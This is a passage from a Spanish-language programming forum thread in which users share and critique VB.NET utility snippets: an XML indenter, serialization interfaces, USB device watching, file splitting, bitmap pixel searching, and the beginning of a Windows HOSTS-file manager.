Creo que algunas de estas utilidades están ya presentes dentro de lo que es la super colección de Elektro, pero bueno supongo que un indentador XML nunca se ha visto por aquí así que aquí va:
precisamente estoy harto de que cierta utilidad de Microsoft me genere los archivos de manifiesto sin ningún tipo de indentación, esto me sirve ;).
EDITO: en un principio iba a ahorrarme comentarios sobre posibles mejoras de código o etc, pero hay un fallo importante que se debe corregir, no estás liberando el memorystream:
CitarDim w As New MemoryStream()
Ni tampoco el Writer ni el Reader xD
Por cierto la Class XMLTextWriter está obsoleta, en su defecto Microsoft recomienda el uso de XMLWriter.
EDITO 2: Me he tomado la libertad de editar el código original enfocándolo de otra manera (aunque tampoco es tan distinto):
Ejemplo de uso:
Dim TextEncoding As System.Text.Encoding = System.Text.Encoding.Default
Dim UnformattedXMLDocument As String = IO.File.ReadAllText("C:\Unformatted Document.xml", TextEncoding)
Dim FormattedXMLDocument As String = XMLBeautify(XMLText:=UnformattedXMLDocument,
IndentChars:=New String(" "c, 2),
IndentOnAttributes:=False,
TextEncoding:=TextEncoding)
IO.File.WriteAllText("C:\Formatted Document.xml", FormattedXMLDocument, TextEncoding)Snippet:
''' <summary>
''' Beautifies the contents of an unindented XML document.
''' </summary>
''' <param name="XMLText">
''' The XML text content.
''' It can be an entire document or a fragment.
''' </param>
''' <param name="IndentChars">
''' The string that is used to indent the XML.
''' Default value is: <see cref="ControlChars.Tab"/>
''' </param>
''' <param name="IndentOnAttributes">
''' If set to <c>true</c>, attributes will be separated by newlines.
''' Default value is: <c>false</c>
''' </param>
''' <param name="TextEncoding">
''' The XML text encoding to use.
''' Default value is: <see cref="System.Text.Encoding.Default"/>.
''' </param>
''' <returns>The beautified XML text.</returns>
''' <exception cref="System.ArgumentNullException"></exception>
Public Shared Function XMLBeautify(ByVal XMLText As String,
Optional ByVal IndentChars As String = Nothing,
Optional ByVal IndentOnAttributes As Boolean = False,
Optional ByVal TextEncoding As System.Text.Encoding = Nothing) As String
If String.IsNullOrEmpty(XMLText) Then
Throw New ArgumentNullException(XMLText)
End If
Dim sb As New System.Text.StringBuilder
Dim doc As New Xml.XmlDocument()
Dim settings As New Xml.XmlWriterSettings
With settings
.Indent = True
.CheckCharacters = True
.OmitXmlDeclaration = False
.ConformanceLevel = Xml.ConformanceLevel.Auto
.NamespaceHandling = Xml.NamespaceHandling.Default
.NewLineHandling = Xml.NewLineHandling.Replace
.NewLineChars = ControlChars.NewLine
.NewLineOnAttributes = IndentOnAttributes
.IndentChars = If(IndentChars IsNot Nothing, IndentChars, ControlChars.Tab)
.Encoding = If(TextEncoding IsNot Nothing, TextEncoding, System.Text.Encoding.Default)
End With
Using writer As Xml.XmlWriter = Xml.XmlWriter.Create(sb, settings)
doc.LoadXml(XMLText)
doc.WriteContentTo(writer)
writer.Flush()
Return sb.ToString
End Using
End Function
''' <summary>
''' Beautifies the contents of an unindented XML document.
''' </summary>
''' <param name="XMLFile">
''' An <see cref="T:IO.FileInfo"/> that contains the XML info.
''' It can be an entire document or a fragment.
''' </param>
''' <param name="IndentChars">
''' The string that is used to indent the XML.
''' Default value is: <see cref="ControlChars.Tab"/>
''' </param>
''' <param name="IndentOnAttributes">
''' If set to <c>true</c>, attributes will be separated by newlines.
''' Default value is: <c>false</c>
''' </param>
''' <param name="TextEncoding">
''' The XML text encoding to use.
''' Default value is: <see cref="System.Text.Encoding.Default"/>.
''' </param>
''' <returns>The beautified XML text.</returns>
''' <exception cref="System.ArgumentNullException"></exception>
Public Shared Function XMLBeautify(XMLFile As IO.FileInfo,
Optional ByVal IndentChars As String = Nothing,
Optional ByVal IndentOnAttributes As Boolean = False,
Optional ByVal TextEncoding As System.Text.Encoding = Nothing) As String
Return XMLBeautify(IO.File.ReadAllText(XMLFile.FullName, TextEncoding), IndentChars, IndentOnAttributes, TextEncoding)
End FunctionPosibles outputs:
1º:
<savedata>
<SoftwareType>Freeware</SoftwareType>
<SoftwareID>Moo0 FileMonitor</SoftwareID>
<Version>1.11</Version>
<MainWindow>
<SoftwareType>Freeware</SoftwareType>
<SoftwareID>Moo0 FileMonitor</SoftwareID>
<Version>1.11</Version>
<View F="0" E="0" D="0" RefreshFrequency="500" LogUpTo="20000" EasyDrag="1" Maximized="0" X="958" Y="453" Width="962" Height="585" KeepOnTop="0"></View>
<ChangesColumnOrder length="6" _0="0" _1="1" _2="2" _3="3" _4="4" _5="5"></ChangesColumnOrder>
</MainWindow>
<Skin>Classic LG</Skin>
</savedata>2º:
<savedata>
<SoftwareType>Freeware</SoftwareType>
<SoftwareID>Moo0 FileMonitor</SoftwareID>
<Version>1.11</Version>
<MainWindow>
<SoftwareType>Freeware</SoftwareType>
<SoftwareID>Moo0 FileMonitor</SoftwareID>
<Version>1.11</Version>
<View
F="0"
E="0"
D="0"
RefreshFrequency="500"
LogUpTo="20000"
EasyDrag="1"
Maximized="0"
X="958"
Y="453"
Width="962"
Height="585"
KeepOnTop="0"></View>
<ChangesColumnOrder
length="6"
_0="0"
_1="1"
_2="2"
_3="3"
_4="4"
_5="5"></ChangesColumnOrder>
</MainWindow>
<Skin>Classic LG</Skin>
</savedata>Saludos
Ejemplo de como implementar la interface ISerializable e IXMLSerializable:
#Region " Imports "
Imports System.Runtime.Serialization
Imports System.Security.Permissions
Imports System.Xml.Serialization
Imports System.Xml
#End Region
''' <summary>
''' SerializableClassTest.
''' This class can be serialized.
''' </summary>
<Serializable>
<XmlRoot("SerializableClassTest")>
Public Class SerializableClassTest : Implements ISerializable : Implements IXmlSerializable
#Region "Properties"
Public Property StrValue As String
Public Property Int32Value As Integer
#End Region
#Region "Constructors"
''' <summary>
''' Prevents a default instance of the <see cref="SerializableClassTest"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="SerializableClassTest"/> class.
''' </summary>
Public Sub New(ByVal StrValue As String,
ByVal Int32Value As Integer)
Me.StrValue = StrValue
Me.Int32Value = Int32Value
End Sub
#End Region
#Region "ISerializable implementation" ' For Binary serialization.
''' <summary>
''' Populates a <see cref="T:SerializationInfo"/> with the data needed to serialize the target object.
''' </summary>
''' <param name="info">The <see cref="T:SerializationInfo"/> to populate with data.</param>
''' <param name="context">The destination (see <see cref="T:StreamingContext"/>) for this serialization.</param>
<SecurityPermissionAttribute(SecurityAction.LinkDemand, Flags:=SecurityPermissionFlag.SerializationFormatter)>
Protected Overridable Sub GetObjectData(ByVal info As SerializationInfo,
ByVal context As StreamingContext) Implements ISerializable.GetObjectData
If info Is Nothing Then
Throw New ArgumentNullException("info")
End If
With info
.AddValue("PropertyName1", Me.StrValue, Me.StrValue.GetType)
.AddValue("PropertyName2", Me.Int32Value, Me.Int32Value.GetType)
End With
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="SerializableClassTest"/> class.
''' This constructor is used to deserialize values.
''' </summary>
''' <param name="info">The information.</param>
''' <param name="context">The context.</param>
Protected Sub New(ByVal info As SerializationInfo,
ByVal context As StreamingContext)
If info Is Nothing Then
Throw New ArgumentNullException("info")
End If
Me.StrValue = info.GetString("PropertyName1")
Me.Int32Value = info.GetInt32("PropertyName2")
End Sub
#End Region
#Region "IXMLSerializable implementation" ' For XML serialization.
''' <summary>
''' This method is reserved and should not be used.
''' When implementing the IXmlSerializable interface, you should return null (Nothing in Visual Basic) from this method,
''' and instead, if specifying a custom schema is required, apply the <see cref="T:XmlSchemaProviderAttribute"/> to the class.
''' </summary>
''' <returns>
''' An <see cref="T:Xml.Schema.XmlSchema"/> that describes the XML representation of the object
''' that is produced by the <see cref="M:IXmlSerializable.WriteXml(Xml.XmlWriter)"/> method
''' and consumed by the <see cref="M:IXmlSerializable.ReadXml(Xml.XmlReader)"/> method.
''' </returns>
Public Function GetSchema() As Schema.XmlSchema Implements IXmlSerializable.GetSchema
Return Nothing
End Function
''' <summary>
''' Converts an object into its XML representation.
''' </summary>
''' <param name="writer">The <see cref="T:Xml.XmlWriter"/> stream to which the object is serialized.</param>
Public Sub WriteXml(ByVal writer As XmlWriter) Implements IXmlSerializable.WriteXml
writer.WriteElementString("PropertyName1", Me.StrValue)
writer.WriteElementString("PropertyName2", CStr(Me.Int32Value))
End Sub
''' <summary>
''' Generates an object from its XML representation.
''' </summary>
''' <param name="reader">The <see cref="T:Xml.XmlReader"/> stream from which the object is deserialized.</param>
Public Sub ReadXml(ByVal reader As XmlReader) Implements IXmlSerializable.ReadXml
With reader
.ReadStartElement(MyBase.GetType.Name)
Me.StrValue = .ReadElementContentAsString
Me.Int32Value = .ReadElementContentAsInt
End With
End Sub
#End Region
End Class
Ejemplo de como usar la Class DeviceWatcher en un WinForms, sirve para detectar los eventos de inserción/extracción de los dispositivos, quizás se pueda utilizar como reemplazamiento del típico código de WMI para monitorizar USB's, pero todavía no le he podido sacar todo el jugo al asunto, poca documentación...
#Region " Instructions "
' 1. Create a new WinForms project targeting .NET Framework 4.5.
' 2. Close VisualStudio, open the 'YourProjectName.vbproj' file in a text-editor and add this property:
' *****************************************************************************************************
'<PropertyGroup>
' ...
' <TargetPlatformVersion>8.0</TargetPlatformVersion>
' ...
'</PropertyGroup>
' 3. Load the project in VisualStudio, open the 'References' menu and add these references:
' *****************************************************************************************
' C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5\Facades\System.Runtime.dll
' C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5\Facades\System.Runtime.InteropServices.WindowsRuntime.dll
' 4. In the 'References' menu, go to 'Windows > Core' tab and add these references:
' *********************************************************************************
' Windows.Devices
' Windows.Foundation
#End Region
#Region " Imports "
Imports Windows.Devices.Enumeration
Imports Windows.Foundation
#End Region
Public Class DeviceWatcher_Test
Friend WithEvents dw As DeviceWatcher = DeviceInformation.CreateWatcher
Private Sub Test() Handles MyBase.Load
dw.Start()
End Sub
''' <summary>
''' Event that is raised when a device is added to the collection enumerated by the DeviceWatcher.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.added.aspx
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="DeviceInformation"/> instance containing the event data.</param>
Private Sub dw_Added(ByVal sender As DeviceWatcher, ByVal e As DeviceInformation) _
Handles dw.Added
Dim sb As New System.Text.StringBuilder
With sb
.AppendLine("dw_added")
.AppendLine("********")
.AppendLine(String.Format("Interface ID.: {0}", e.Id))
.AppendLine(String.Format("Friendly Name: {0}", e.Name))
.AppendLine(String.Format("Is Enabled?..: {0}", e.IsEnabled))
If e.Properties IsNot Nothing Then
For Each item As KeyValuePair(Of String, Object) In e.Properties
If item.Value IsNot Nothing Then
.AppendLine(String.Format("TKey:{0}, TVal:{1} (TVal Type:{2})",
item.Key, item.Value.ToString, item.Value.GetType.Name))
End If
Next
End If
End With
Debug.WriteLine(sb.ToString)
End Sub
''' <summary>
''' Event that is raised when a device is removed from the collection of enumerated devices.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.removed.aspx
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="DeviceInformationUpdate"/> instance containing the event data.</param>
Private Sub dw_Removed(ByVal sender As DeviceWatcher, ByVal e As DeviceInformationUpdate) _
Handles dw.Removed
Dim sb As New System.Text.StringBuilder
With sb
.AppendLine("dw_Removed")
.AppendLine("**********")
.AppendLine(String.Format("Interface ID:{0}", e.Id))
For Each item As KeyValuePair(Of String, Object) In e.Properties
.AppendLine(String.Format("TKey:{0}, TVal:{1} (TVal Type:{2})",
item.Key, item.Value.ToString, item.Value.GetType.Name))
Next
End With
Debug.WriteLine(sb.ToString)
End Sub
''' <summary>
''' Event that is raised when a device is updated in the collection of enumerated devices.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.updated.aspx
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="DeviceInformationUpdate"/> instance containing the event data.</param>
Private Sub dw_Updated(ByVal sender As DeviceWatcher, ByVal e As DeviceInformationUpdate) _
Handles dw.Updated
Dim sb As New System.Text.StringBuilder
With sb
.AppendLine("dw_Updated")
.AppendLine("**********")
.AppendLine(String.Format("Interface ID: {0}", e.Id))
For Each item As KeyValuePair(Of String, Object) In e.Properties
If item.Key.EndsWith("InterfaceEnabled", StringComparison.OrdinalIgnoreCase) Then
Dim Result As Boolean = CBool(item.Value)
.AppendLine(String.Format("The device is accessible?:{0}", CStr(Result)))
Else
.AppendLine(String.Format("TKwy:{0}, TVal:{1} (TVal Type:{2})",
item.Key, item.Value.ToString, item.Value.GetType.Name))
End If
Next
End With
Debug.WriteLine(sb.ToString)
End Sub
''' <summary>
''' Event that is raised when the enumeration operation has been stopped.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.stopped.aspx
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The object containing the event data.</param>
Private Sub dw_Stopped(ByVal sender As DeviceWatcher, ByVal e As Object) _
Handles dw.Stopped
Dim sb As New System.Text.StringBuilder
With sb
.AppendLine("dw_Stopped")
.AppendLine("**********")
.AppendLine(String.Format("e:{1} (e Type:{2})",
e.ToString, e.GetType.Name))
End With
Debug.WriteLine(sb.ToString)
End Sub
''' <summary>
''' Event that is raised when the enumeration of devices completes.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.enumerationcompleted.aspx
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The object containing the event data.</param>
Private Sub dw_EnumerationCompleted(ByVal sender As DeviceWatcher, ByVal e As Object) _
Handles dw.EnumerationCompleted
If e IsNot Nothing Then
Dim sb As New System.Text.StringBuilder
With sb
.AppendLine("EnumerationCompleted")
.AppendLine("********************")
.AppendLine(String.Format("e:{1} (e Type:{2})",
e.ToString, e.GetType.Name))
End With
Debug.WriteLine(sb.ToString)
End If
End Sub
End Class
Bueno, como siempre se agradecen sugerencias... Acabo de editar el código y sí, ese indentador no es mio, y la verdad es que tampoco me preocupe mucho, como vi que funciono la primera vez pues no le presté mucha atención...
Ahora como verás me he pasado poniendo usings, pero bueno >:D
Cita de: Ikillnukes en 8 Agosto 2014, 21:07 PMcomo vi que funciono la primera vez pues no le presté mucha atención...
Funciona a la primera según se mire, ya que el que escribió ese snippet definió el uso de la codificación UTF-16 (Encoding.Unicode) para todos los casos.
Cita de: Ikillnukes en 8 Agosto 2014, 21:07 PMAhora como verás me he pasado poniendo usings, pero bueno >:D
No te has pasado, has echo lo correcto (me refiero a corregir los fallos del código, aparte de tener que escuchar mi típico sermón xD)
Saludos
Como partir un archivo en pequeños trozos de cualuier tamaño (no hay limite de 2 GB).
' Split File
' By Elektro
'
' Example Usage:
' SplitFile(InputFile:="C:\Test.mp3", ChunkSize:=(1024L ^ 2L), ChunkName:="Test.Part", ChunkExt:="mp3", Overwrite:=True)
''' <summary>
''' Splits a file into chunks.
''' </summary>
''' <param name="InputFile">
''' Indicates the input file to split.
''' </param>
''' <param name="ChunkSize">
''' Indicates the size of each chunk.
''' </param>
''' <param name="ChunkName">
''' Indicates the chunk filename format.
''' Default format is: 'FileName.ChunkIndex.FileExt'
''' </param>
''' <param name="ChunkExt">
''' Indicates the chunk file-extension.
''' If this value is <c>Null</c>, the input file-extension will be used.
''' </param>
''' <param name="Overwrite">
''' If set to <c>true</c>, chunk files will replace any existing file;
''' Otherwise, an exception will be thrown.
''' </param>
''' <exception cref="System.OverflowException">'ChunkSize' should be smaller than the Filesize.</exception>
''' <exception cref="System.IO.IOException"></exception>
Public Sub SplitFile(ByVal InputFile As String,
ByVal ChunkSize As Long,
Optional ByVal ChunkName As String = Nothing,
Optional ByVal ChunkExt As String = Nothing,
Optional ByVal Overwrite As Boolean = False)
' FileInfo instance of the input file.
Dim fInfo As New IO.FileInfo(InputFile)
' The buffer to read data and write the chunks.
Dim Buffer As Byte() = New Byte() {}
' The buffer length.
Dim BufferSize As Integer = 1048576 ' 1048576 = 1 mb | 33554432 = 32 mb | 67108864 = 64 mb
' Counts the length of the current chunk file.
Dim BytesWritten As Long = 0L
' The total amount of chunks to create.
Dim ChunkCount As Integer = CInt(Math.Floor(fInfo.Length / ChunkSize))
' Keeps track of the current chunk.
Dim ChunkIndex As Integer = 0I
' A zero-filled string to enumerate the chunk files.
Dim Zeros As String = String.Empty
' The given filename for each chunk.
Dim ChunkFile As String = String.Empty
' The chunk file basename.
ChunkName = If(String.IsNullOrEmpty(ChunkName),
IO.Path.Combine(fInfo.DirectoryName, IO.Path.GetFileNameWithoutExtension(fInfo.Name)),
IO.Path.Combine(fInfo.DirectoryName, ChunkName))
' The chunk file extension.
ChunkExt = If(String.IsNullOrEmpty(ChunkExt),
fInfo.Extension.Substring(1I),
ChunkExt)
' If ChunkSize is bigger than filesize then...
If ChunkSize >= fInfo.Length Then
Throw New OverflowException("'ChunkSize' should be smaller than the Filesize.")
Exit Sub
' For cases where a chunksize is smaller than the buffersize.
ElseIf ChunkSize < BufferSize Then
BufferSize = CInt(ChunkSize)
End If ' ChunkSize <>...
' If not file-overwritting is allowed then...
If Not Overwrite Then
For Index As Integer = 0I To (ChunkCount)
' Set chunk filename.
Zeros = New String("0", CStr(ChunkCount).Length - CStr(Index + 1I).Length)
ChunkFile = String.Format("{0}.{1}.{2}", ChunkName, Zeros & CStr(Index + 1I), ChunkExt)
' If chunk file already exists then...
If IO.File.Exists(ChunkFile) Then
Throw New IO.IOException(String.Format("File already exist: {0}", ChunkFile))
Exit Sub
End If ' IO.File.Exists(ChunkFile)
Next Index
Zeros = String.Empty
ChunkFile = String.Empty
End If ' Overwrite
' Open the file to start reading bytes.
Using InputStream As New IO.FileStream(fInfo.FullName, IO.FileMode.Open)
Using BinaryReader As New IO.BinaryReader(InputStream)
While (InputStream.Position < InputStream.Length)
' Set chunk filename.
Zeros = New String("0", CStr(ChunkCount).Length - CStr(ChunkIndex + 1I).Length)
ChunkFile = String.Format("{0}.{1}.{2}", ChunkName, Zeros & CStr(ChunkIndex + 1I), ChunkExt)
' Reset written byte-length counter.
BytesWritten = 0L
' Create the chunk file to Write the bytes.
Using OutputStream As New IO.FileStream(ChunkFile, IO.FileMode.Create)
Using BinaryWriter As New IO.BinaryWriter(OutputStream)
' Read until reached the end-bytes of the input file.
While (BytesWritten < ChunkSize) AndAlso (InputStream.Position < InputStream.Length)
' Read bytes from the original file (BufferSize byte-length).
Buffer = BinaryReader.ReadBytes(BufferSize)
' Write those bytes in the chunk file.
BinaryWriter.Write(Buffer)
' Increment the size counter.
BytesWritten += Buffer.Count
End While ' (BytesWritten < ChunkSize) AndAlso (InputStream.Position < InputStream.Length)
OutputStream.Flush()
End Using ' BinaryWriter
End Using ' OutputStream
ChunkIndex += 1I 'Increment file counter
End While ' InputStream.Position < InputStream.Length
End Using ' BinaryReader
End Using ' InputStream
End Sub
una Helper-Class para procesar los pixeles de una imagen, buscar un color especifico y devolver las coordenadas, obtener un rango de píxeles, etc.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 07-11-2014
' ***********************************************************************
' <copyright file="PixelUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
' **************************************************
' Count the number of Pixels that contains the image
' **************************************************
'
'' Create a new bitmap.
'Dim bmp As Bitmap = Bitmap.FromFile("C:\DesktopScreenshot.bmp", False)
'
'' Instance a PixelUtil Class.
'Dim bmpPixelUtil As New PixelUtil(bmp)
'
'' Display the pixel count.
'MessageBox.Show(String.Format("Total amount of Pixels: {0}", CStr(bmpPixelUtil.PixelCount)))
' ************************************************
' Searchs for an specific pixel color in the image
' ************************************************
'
'' Create a new bitmap.
'Dim bmp As Bitmap = Bitmap.FromFile("C:\DesktopScreenshot.bmp", False)
'
'' Instance a PixelUtil Class.
'Dim bmpPixelUtil As New PixelUtil(bmp)
'
'' Specify the RGB PixelColor to search.
'Dim FindColor As Color = Color.FromArgb(255, 174, 201)
'
'' Get the pixel data.
'Dim FoundPixels As List(Of PixelUtil.PixelData) = bmpPixelUtil.SearchColor(FindColor)
'
'' Loop through each pixel.
'For Each Pixel As PixelUtil.PixelData In FoundPixels
'
' Dim sb As New System.Text.StringBuilder
' With sb
'
' .AppendLine(String.Format("Index: {0}", CStr(Pixel.Index)))
' .AppendLine(String.Format("Coord: {0}", Pixel.Coordinates.ToString))
'
' MessageBox.Show(.ToString, "Pixel-Color Search")
'
' .Clear()
'
' End With
'
'Next Pixel
' *********************************************************************
' Retrieve the index, color, and coordinates of each pixel in the image
' *********************************************************************
'
'' Create a new bitmap.
'Dim bmp As Bitmap = Bitmap.FromFile("C:\DesktopScreenshot.bmp", False)
'
'' Instance a PixelUtil Class.
'Dim bmpPixelUtil As New PixelUtil(bmp)
'
'' Get the pixel data.
'Dim Pixels As List(Of PixelUtil.PixelData) = bmpPixelUtil.GetPixelData()
'
'' Loop through each pixel.
'For Each Pixel As PixelUtil.PixelData In Pixels
'
' Dim sb As New System.Text.StringBuilder
' With sb
'
' .AppendLine(String.Format("Index: {0}", CStr(Pixel.Index)))
' .AppendLine(String.Format("Color: {0}", Pixel.Color.ToString))
' .AppendLine(String.Format("Coord: {0}", Pixel.Coordinates.ToString))
'
' MessageBox.Show(.ToString, "Pixel Search")
'
' .Clear()
'
' End With
'
'Next Pixel
' ****************************************************************************
' Retrieve the index, color, and coordinates of a range of pixels in the image
' ****************************************************************************
'
'' Create a new bitmap.
'Dim bmp As Bitmap = Bitmap.FromFile("C:\DesktopScreenshot.bmp", False)
'
'' Instance a PixelUtil Class.
'Dim bmpPixelUtil As New PixelUtil(bmp)
'
'' Specify the pixel range to retrieve.
'Dim RangeMin As Integer = 1919I
'Dim RangeMax As Integer = 1921I
'
'' Get the pixel data.
'Dim FoundPixels As List(Of PixelUtil.PixelData) = bmpPixelUtil.GetPixelData(RangeMin, RangeMax)
'
'' Loop through each pixel.
'For Each Pixel As PixelUtil.PixelData In FoundPixels
'
' Dim sb As New System.Text.StringBuilder
' With sb
'
' .AppendLine(String.Format("Index: {0}", CStr(Pixel.Index)))
' .AppendLine(String.Format("Color: {0}", Pixel.Color.ToString))
' .AppendLine(String.Format("Coord: {0}", Pixel.Coordinates.ToString))
'
' MessageBox.Show(.ToString, "Pixel-Color Search")
'
' .Clear()
'
' End With
'
'Next Pixel
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Drawing.Imaging
Imports System.Runtime.InteropServices
#End Region
#Region " PixelUtil "
Public Class PixelUtil
#Region " Vars, Properties "
Private _PixelData As List(Of PixelData) = Nothing
Private _bmp As Bitmap = Nothing
Private _PixelCount As Integer = Nothing
''' <summary>
''' Gets the Bitmap object.
''' </summary>
''' <value>The BMP.</value>
Public ReadOnly Property bmp As Bitmap
Get
Return Me._bmp
End Get
End Property
''' <summary>
''' Gets the total amount of pixels that contains the Bitmap.
''' </summary>
''' <value>The pixel count.</value>
Public ReadOnly Property PixelCount As Integer
Get
Return Me._PixelCount
End Get
End Property
#End Region
#Region " Classes "
''' <summary>
''' Stores specific pixel information of an image.
''' </summary>
Public Class PixelData
''' <summary>
''' Gets or sets the pixel index.
''' </summary>
''' <value>The pixel index.</value>
Public Property Index As Integer
''' <summary>
''' Gets or sets the pixel color.
''' </summary>
''' <value>The pixel color.</value>
Public Property Color As Color
''' <summary>
''' Gets or sets the pixel coordinates relative to the image.
''' </summary>
''' <value>The pixel coordinates.</value>
Public Property Coordinates As Point
End Class
#End Region
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="PixelUtil"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="PixelUtil"/> class.
''' </summary>
''' <param name="bmp">Indicates the Bitmap image to process it's pixels.</param>
''' <exception cref="System.Exception">PixelFormat unsupported.</exception>
Public Sub New(ByVal bmp As Bitmap)
If Not bmp.PixelFormat = PixelFormat.Format24bppRgb Then
Throw New Exception("PixelFormat unsupported.")
End If
Me._bmp = bmp
Me._PixelCount = Me.[Count]
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Returns a <c>'PixelData'</c> object containing information about each pixel in the image.
''' </summary>
''' <returns>List(Of PixelData).</returns>
Public Function GetPixelData() As List(Of PixelData)
If Me._PixelData Is Nothing Then
Me._PixelData = New List(Of PixelData)
' Lock the Bitmap bits.
Dim bmpRect As New Rectangle(0, 0, Me._bmp.Width, Me._bmp.Height)
Dim bmpData As BitmapData = Me._bmp.LockBits(bmpRect, ImageLockMode.ReadWrite, Me._bmp.PixelFormat)
' Get the address of the first line.
Dim Pointer As IntPtr = bmpData.Scan0
' Hold the bytes of the bitmap into a Byte-Array.
' NOTE: This code is specific to a bitmap with 24 bits per pixels.
Dim bmpBytes As Integer = (Math.Abs(bmpData.Stride) * bmpRect.Height)
Dim rgbData(bmpBytes - 1) As Byte
' Copy the RGB values into the array.
Marshal.Copy(Pointer, rgbData, 0, bmpBytes)
' Unlock the Bitmap bits.
Me._bmp.UnlockBits(bmpData)
' Loop through each 24bpp-RGB value.
For rgbIndex As Integer = 2 To rgbData.Length - 1 Step 3
' Set the pixel Data.
Dim Pixel As New PixelData
With Pixel
.Index = rgbIndex \ 3I
.Color = Color.FromArgb(red:=rgbData(rgbIndex),
green:=rgbData(rgbIndex - 1I),
blue:=rgbData(rgbIndex - 2I))
.Coordinates = New Point(X:=(.Index Mod bmpRect.Width),
Y:=(.Index - (.Index Mod bmpRect.Width)) \ bmpRect.Width)
End With
' Add the PixelData into the list.
Me._PixelData.Add(Pixel)
Next rgbIndex
End If
Return Me._PixelData
End Function
''' <summary>
''' Returns a <c>'PixelData'</c> object containing information about a range of pixels in the image.
''' </summary>
''' <returns>List(Of PixelData).</returns>
''' <exception cref="System.Exception">Pixel index is out of range</exception>
Public Function GetPixelData(ByVal RangeMin As Integer,
ByVal RangeMax As Integer) As List(Of PixelData)
If Not (Me._PixelCount >= RangeMin AndAlso Me._PixelCount <= RangeMax) Then
Throw New Exception("Pixel index is out of range.")
Return Nothing
End If
' Return the Pixel range.
Return (From Pixel As PixelData In Me.GetPixelData()
Where (Pixel.Index >= RangeMin AndAlso Pixel.Index <= RangeMax)).ToList
End Function
''' <summary>
''' Searchs for the specified pixel-color inside the image and returns all the matches.
''' </summary>
''' <param name="PixelColor">Indicates the color to find.</param>
''' <returns>List(Of PixelData).</returns>
Public Function SearchColor(ByVal PixelColor As Color) As List(Of PixelData)
Return (From Pixel As PixelData In Me.GetPixelData
Where Pixel.Color = PixelColor).ToList
End Function
#End Region
#Region " Private Methods "
''' <summary>
''' Counts the number of pixels that contains the image.
''' </summary>
''' <returns>The number of pixels.</returns>
Private Function [Count]() As Integer
' Lock the Bitmap bits.
Dim bmpRect As New Rectangle(0, 0, Me._bmp.Width, Me._bmp.Height)
Dim bmpData As BitmapData = Me._bmp.LockBits(bmpRect, ImageLockMode.ReadWrite, Me._bmp.PixelFormat)
' Get the address of the first line.
Dim Pointer As IntPtr = bmpData.Scan0
' Hold the bytes of the bitmap into a Byte-Array.
' NOTE: This code is specific to a bitmap with 24 bits per pixels.
Dim bmpBytes As Integer = (Math.Abs(bmpData.Stride) * bmpRect.Height)
Dim rgbData(bmpBytes - 1) As Byte
' Copy the RGB values into the array.
Marshal.Copy(Pointer, rgbData, 0, bmpBytes)
' Unlock the Bitmap bits.
Me._bmp.UnlockBits(bmpData)
Return rgbData.Count
End Function
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Determines whether the specified System.Object is equal to the current System.Object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ToString()
End Sub
#End Region
End Class
#End Region
Una helper-class para administrar el contenido del archivo HOSTS de Windows:
' ***********************************************************************
' Author : Elektro
' Last Modified On : 08-11-2014
' ***********************************************************************
' <copyright file="HostsFile.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Public Class HostsFileTestClass
'
' Private Sub HostsFileTestHandler() Handles MyBase.Shown
'
' ' Instance the HostsFile Class.
' Dim Hosts As New HostsFile()
'
' ' Set a new mapping.
' Dim Mapping As New HostsFile.MappingInfo
' With Mapping
' .HostName = "cuantodanio.es"
' .IP = Hosts.LOCALHOST ' "127.0.0.1"
' .Comment = "Test mapping comment."
' End With
'
' With Hosts
'
' ' Delete the Host file.
' If .FileExists Then
' .FileDelete()
' End If
'
' ' Create a new one Hosts file.
' .FileCreate()
'
' ' Add some new mappings.
' .Add(Mapping)
' .Add(HostName:="www.youtube.com", IP:=.LOCALHOST, Comment:="Test mapping comment")
'
' ' Check whether a mapping exists.
' If .IsMapped(Mapping) Then
' ' Disable the mapping.
' .Disable(Mapping)
' End If
'
' ' Check whether an existing mapping is disabled.
' If .IsDisabled("www.youtube.com") Then
' ' Remove the mapping.
' .Remove("www.youtube.com")
' End If
'
' ' Open the HOSTS file with the specified text-editor.
' .FileOpen("C:\Program Files\Sublime Text\sublime_text.exe")
'
' End With
'
' ' Get the IP of a mapped Hostname.
' MessageBox.Show("cuantodanio.es: " & Hosts.GetMappingFromHostname("cuantodanio.es").IP)
'
' ' Get all the hostname mappings
' Dim Mappings As List(Of HostsFile.MappingInfo) = Hosts.GetMappings()
' For Each MappingInfo As HostsFile.MappingInfo In Mappings
'
